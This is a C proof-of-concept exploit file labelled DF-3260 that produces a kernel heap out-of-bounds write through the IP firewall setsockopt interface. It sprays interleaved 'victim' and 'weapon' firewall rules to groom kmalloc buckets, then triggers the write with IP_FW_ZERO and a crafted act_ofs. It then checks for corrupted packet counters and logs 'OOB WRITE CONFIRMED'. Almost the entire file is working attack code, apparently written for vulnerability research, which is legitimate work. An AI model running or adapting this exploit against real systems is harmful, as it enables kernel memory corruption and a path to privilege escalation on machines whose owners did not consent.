DF-3260 / poc_oobwrite.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | /* * DF-3260 PoC 2 (v2) -- heap OOB WRITE via clear_counters()/IP_FW_ZERO. * * v2 lessons: interleave victim/weapon allocations so a weapon's * kmalloc-successor is always a victim; only use act_ofs candidates that * target the victim's rulenum byte (+20 == O_LOG=40) for the exact bucket * strides {96,112,128} -> A in {7,11,15}; log to a file with fflush so the * evidence survives a wedged guest. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define O_ACCEPT 43 #define O_COUNT 45 #define IP_FW_ADD 50 #define IP_FW_ZERO 53 #define IP_FW_GET 54 struct ioc_rule { uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum; uint8_t set; uint8_t usr_flags; uint32_t set_disable; uint32_t static_count; uint32_t static_len; uint64_t pcnt; uint64_t bcnt; uint32_t timestamp; uint8_t reserved[16]; uint32_t cmd[64]; }; #define INSN(op, len, arg1) ((op) | ((len) << 8) | ((arg1) << 16)) static FILE *out; static int add_rule(int s, uint16_t rulenum, uint16_t act_ofs, uint32_t op) { struct ioc_rule r; memset(&r, 0, sizeof(r)); r.rulenum = rulenum; r.cmd_len = 1; r.act_ofs = act_ofs; r.cmd[0] = INSN(op, 1, 0); return setsockopt(s, IPPROTO_IP, IP_FW_ADD, &r, 60 + 4); } static int scan_victims(int s, uint64_t *hit, uint64_t *clean) { static unsigned char buf[262144]; socklen_t len = sizeof(buf); struct ioc_rule *rr; int nhit = 0; *hit = *clean = 0; if (getsockopt(s, IPPROTO_IP, IP_FW_GET, buf, &len) != 0) return -1; rr = (struct ioc_rule *)buf; while ((unsigned char *)rr < buf + len) { if (rr->rulenum == 40) { if (rr->pcnt > 0xffffffffULL) { if (nhit == 0) *hit = rr->pcnt; nhit++; } else if (*clean == 0) { *clean = rr->pcnt; } } rr = (struct ioc_rule *)((unsigned char *)rr + 60 + rr->cmd_len * 4); } return nhit; } int main(int argc, char **argv) { int s, us, i, rc, rul, nhit; int A = argc > 1 ? atoi(argv[1]) : 7; int npairs = argc > 2 ? atoi(argv[2]) : 150; struct sockaddr_in dst; char pkt[32]; uint64_t hit = 0, clean = 0; out = fopen("/root/poc/result.txt", "w"); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("raw socket"); exit(1); } /* interleaved spray: victim(rulenum 40, count) then weapon(1000, A) */ for (i = 0; i < npairs; i++) { if (add_rule(s, 40, 0, O_COUNT) != 0) { perror("add victim"); exit(1); } if (add_rule(s, 1000, A, O_ACCEPT) != 0) { perror("add weapon"); exit(1); } } fprintf(out, "[+] %d victim/weapon pairs installed (A=%d)\n", npairs, A); fflush(out); us = socket(AF_INET, SOCK_DGRAM, 0); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); dst.sin_addr.s_addr = inet_addr("127.0.0.1"); for (i = 0; i < 100; i++) sendto(us, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); close(us); sleep(1); nhit = scan_victims(s, &hit, &clean); fprintf(out, "[+] baseline: nhit=%d clean_pcnt=%llu\n", nhit, (unsigned long long)clean); fflush(out); rul = 1000; rc = setsockopt(s, IPPROTO_IP, IP_FW_ZERO, &rul, sizeof(rul)); fprintf(out, "[+] IP_FW_ZERO(1000) rc=%d\n", rc); fflush(out); nhit = scan_victims(s, &hit, &clean); fprintf(out, "[+] after: nhit=%d clean_pcnt=%llu hit_pcnt=0x%016llx\n", nhit, (unsigned long long)clean, (unsigned long long)hit); fflush(out); if (nhit > 0) { fprintf(out, "[!!] OOB WRITE CONFIRMED: %d victim pcnt " "mutated to 0x%016llx (clean victims: %llu)\n", nhit, (unsigned long long)hit, (unsigned long long)clean); printf("OOB-WRITE-CONFIRMED nhit=%d pcnt=0x%016llx\n", nhit, (unsigned long long)hit); } else { fprintf(out, "[-] no mutation with A=%d\n", A); printf("no-mutation A=%d\n", A); } fclose(out); return nhit ? 0 : 2; } |